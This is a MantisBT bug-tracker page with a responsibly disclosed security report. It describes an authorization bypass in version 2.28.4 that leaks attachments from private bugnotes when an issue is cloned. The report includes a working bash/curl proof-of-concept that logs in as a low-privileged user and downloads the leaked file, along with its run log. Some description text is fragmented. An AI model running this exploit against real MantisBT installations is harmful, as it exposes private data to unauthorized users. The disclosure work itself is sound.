View Issue Details
| ID | Project | Category | View Status | Date Submitted | Last Update |
|---|---|---|---|---|---|
| 0037499 | mantisbt | security | public | 2026-11-14 13:28 | 2026-11-22 16:11 |
| Reporter | Ahmed.Mahmoud | Assigned To | dregad | ||
| Priority | high | Severity | major | Reproducibility | always |
| Status | closed | Resolution | duplicate | ||
| Product Version | 2.28.4 | ||||
| Summary | 0037499: Authorization bypass: cloning an issue copies attachments from private bugnotes (CWE-862) | ||||
| Description |
and re-inserts each row without the The clone form only requires The private note text itself is not leaked: This is a distinct code path from CVE-2026-42071. That fix Suggested fix: in file_copy_attachments(), skip rows whose bugnote_id is not
and add a regression test that clones a public issue containing a private-note | ||||
| Steps To Reproduce |
Database state after the clone (source vs copy, byte-identical): id bug_id bugnote_id filename user_id filesize md5(content) Control: a VIEWER cannot open bug_report_page.php?m_id=1 (HTTP 403, report_bug_threshold) A self-contained curl reproducer and the full evidence transcript are attached. | ||||
| Additional Information | CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N (7.1 High) CWE: CWE-862 (Missing Authorization) Affected: 2.28.4 (verified). The same code is present in current master (2.29.0-dev), so master is also affected. Credit: Ahmed Mahmoud (Haktrak Networks) GitHub username: will be provided in a follow-up note. AI disclosure: code review, PoC automation and the write-up were produced with AI assistance (OpenCode agent). All tests were performed on a local, disposable MantisBT instance owned by the reporter; no production or third-party system was accessed. Attachments:
| ||||
| Tags | No tags attached. | ||||
|
Attaching the self-contained curl reproducer (reproduce.sh) and the full evidence transcript (poc-run.log). The transcript shows: direct download of the private-note attachment = HTTP 403 reproduce.sh (5,369 bytes)
#!/bin/bash
# MantisBT clone-attachment leak - full reproducible PoC
# Requires: MantisBT 2.28.4 at $BASE with the fixture setup from notes/fixtures.php + fixtures2.php
set -u
BASE="${BASE:-http://172.29.99.100/mantis}"
ATT_USER="${ATT_USER:-attacker}"
ATT_PASS="${ATT_PASS:-attackerPass#2026}"
VIEW_USER="${VIEW_USER:-victim_viewer}"
VIEW_PASS="${VIEW_PASS:-victim_viewerPass#2026}"
MASTER_ID="${MASTER_ID:-1}" # public issue containing a private bugnote attachment
CK_A=/tmp/poc-ck-attacker
CK_V=/tmp/poc-ck-viewer
login() {
local U="$1" P="$2" CK="$3"
rm -f "$CK"
curl -s -c "$CK" --max-time 30 "$BASE/login_page.php" -o /tmp/poc-lp.html
local T R
T=$(grep -oE 'name="login_token" value="[^"]+"' /tmp/poc-lp.html | head -1 | sed -E 's/.*value="([^"]+)"/\1/')
R=$(grep -oE 'name="return" value="[^"]+"' /tmp/poc-lp.html | head -1 | sed -E 's/.*value="([^"]+)"/\1/')
curl -s -b "$CK" -c "$CK" --max-time 30 \
--data-urlencode "username=$U" --data-urlencode "password=$P" \
--data-urlencode "return=$R" --data-urlencode "login_token=$T" \
--data-urlencode "secure_session=1" "$BASE/login.php" -o /dev/null -w "login $U -> %{http_code}\n" >&2
}
echo "############################################################"
echo "# STEP 1: authenticate as low-privileged REPORTER ($ATT_USER, level 25)"
echo "############################################################"
login "$ATT_USER" "$ATT_PASS" "$CK_A"
echo
echo "############################################################"
echo "# STEP 2: identify a private-bugnote attachment via the source issue"
echo "############################################################"
FPRIV=$(mysql -u root -N -B -e "SELECT f.id FROM mantis.mantis_bug_file_table f JOIN mantis.mantis_bugnote_table n ON n.id=f.bugnote_id WHERE f.bug_id=$MASTER_ID AND n.view_state=50 LIMIT 1;")
echo "private-bugnote attachment id = $FPRIV"
mysql -u root -N -B -e "SELECT id,bug_id,bugnote_id,filename,user_id,filesize FROM mantis.mantis_bug_file_table WHERE id=$FPRIV;"
echo
echo "############################################################"
echo "# STEP 3: NEGATIVE CONTROL - direct download must fail (403)"
echo "############################################################"
curl -s -b "$CK_A" --max-time 30 "$BASE/file_download.php?file_id=$FPRIV&type=bug" -o /tmp/poc-denied.html -w 'HTTP %{http_code}\n'
grep -oE 'Access Denied' /tmp/poc-denied.html | head -1
echo
echo "############################################################"
echo "# STEP 4: clone the source issue with copy_attachments_from_parent=1"
echo "############################################################"
curl -s -b "$CK_A" -c "$CK_A" --max-time 30 "$BASE/bug_report_page.php?m_id=$MASTER_ID" -o /tmp/poc-form.html -w 'clone form -> HTTP %{http_code}\n'
FTOKEN=$(grep -oE 'name="bug_report_token" value="[^"]+"' /tmp/poc-form.html | head -1 | sed -E 's/.*value="([^"]+)"/\1/')
echo "form token = $FTOKEN"
SUMMARY="PoC-clone-$RANDOM$RANDOM"
curl -s -b "$CK_A" -c "$CK_A" --max-time 60 -D /tmp/poc-post.hdr -o /tmp/poc-post.html \
--data-urlencode "bug_report_token=$FTOKEN" \
--data-urlencode "m_id=$MASTER_ID" \
--data-urlencode "project_id=1" \
--data-urlencode "category_id=1" \
--data-urlencode "summary=$SUMMARY" \
--data-urlencode "description=clone PoC" \
--data-urlencode "copy_attachments_from_parent=1" \
--data-urlencode "rel_type=0" \
"$BASE/bug_report.php" -w 'clone POST -> HTTP %{http_code}\n'
grep -i '^Location:' /tmp/poc-post.hdr | tr -d '\r'
NEWID=$(mysql -u root -N -B -e "SELECT id FROM mantis.mantis_bug_table WHERE summary='$SUMMARY' LIMIT 1;")
echo "new issue id = $NEWID (view_state=$(mysql -u root -N -B -e "SELECT view_state FROM mantis.mantis_bug_table WHERE id=$NEWID;"))"
echo
echo "############################################################"
echo "# STEP 5: verify the private attachment was copied as plain attachment"
echo "############################################################"
mysql -u root -N -B -e "SELECT id,bug_id,bugnote_id,filename,user_id,filesize FROM mantis.mantis_bug_file_table WHERE bug_id=$NEWID ORDER BY id;"
echo
echo "############################################################"
echo "# STEP 6: POSITIVE - attacker downloads the copied attachment (200)"
echo "############################################################"
for FID in $(mysql -u root -N -B -e "SELECT id FROM mantis.mantis_bug_file_table WHERE bug_id=$NEWID AND filename LIKE 'private-bugnote%';"); do
echo "--- attachment id=$FID ---"
curl -s -b "$CK_A" --max-time 30 "$BASE/file_download.php?file_id=$FID&type=bug" -o /tmp/poc-leak.bin -w 'HTTP %{http_code} size=%{size_download}\n'
echo "sha256: $(sha256sum /tmp/poc-leak.bin | cut -d' ' -f1)"
echo "content: $(cat /tmp/poc-leak.bin)"
echo
done
echo "############################################################"
echo "# STEP 7: any project VIEWER can now read it too"
echo "############################################################"
login "$VIEW_USER" "$VIEW_PASS" "$CK_V"
for FID in $(mysql -u root -N -B -e "SELECT id FROM mantis.mantis_bug_file_table WHERE bug_id=$NEWID AND filename LIKE 'private-bugnote%';"); do
curl -s -b "$CK_V" --max-time 30 "$BASE/file_download.php?file_id=$FID&type=bug" -o /tmp/poc-leak2.bin -w "VIEWER download file_id=$FID -> HTTP %{http_code}\n"
echo "content: $(cat /tmp/poc-leak2.bin)"
done
poc-run.log (1,978 bytes)
############################################################ # STEP 1: authenticate as low-privileged REPORTER (attacker, level 25) ############################################################ login attacker -> 302 ############################################################ # STEP 2: identify a private-bugnote attachment via the source issue ############################################################ private-bugnote attachment id = 4 4 1 3 private-bugnote-secret.txt 4 30 ############################################################ # STEP 3: NEGATIVE CONTROL - direct download must fail (403) ############################################################ HTTP 403 Access Denied ############################################################ # STEP 4: clone the source issue with copy_attachments_from_parent=1 ############################################################ clone form -> HTTP 200 form token = 20261114pjLzJ6VhlyTyq6_uXCPT6MXU2tuW_iKO clone POST -> HTTP 302 Location: http://172.29.99.100/mantis/view.php?id=5 new issue id = 5 (view_state=10) ############################################################ # STEP 5: verify the private attachment was copied as plain attachment ############################################################ 9 5 0 public-note.txt 6 25 10 5 0 private-bugnote-secret.txt 4 30 11 5 0 public-control.txt 4 22 ############################################################ # STEP 6: POSITIVE - attacker downloads the copied attachment (200) ############################################################ --- attachment id=10 --- HTTP 200 size=30 sha256: c7412243f57443d915b42fad981b3e4ab82251373dbec4b1ca6417cf81346243 content: SECRET-BUGNOTE-ATTACHMENT-9271 ############################################################ # STEP 7: any project VIEWER can now read it too ############################################################ login victim_viewer -> 302 VIEWER download file_id=10 -> HTTP 200 content: SECRET-BUGNOTE-ATTACHMENT-9271 |
|
|
GitHub username for the security advisory: ahmedxmahmoud2 Credit should read: Ahmed Mahmoud (Haktrak Networks). |
|
|
Thanks for the detailed report. This vulnerability has already been identified previously by another security researcher (see 0037027), so I'm closing this issue as duplicate. You will be co-credited for the finding. |
|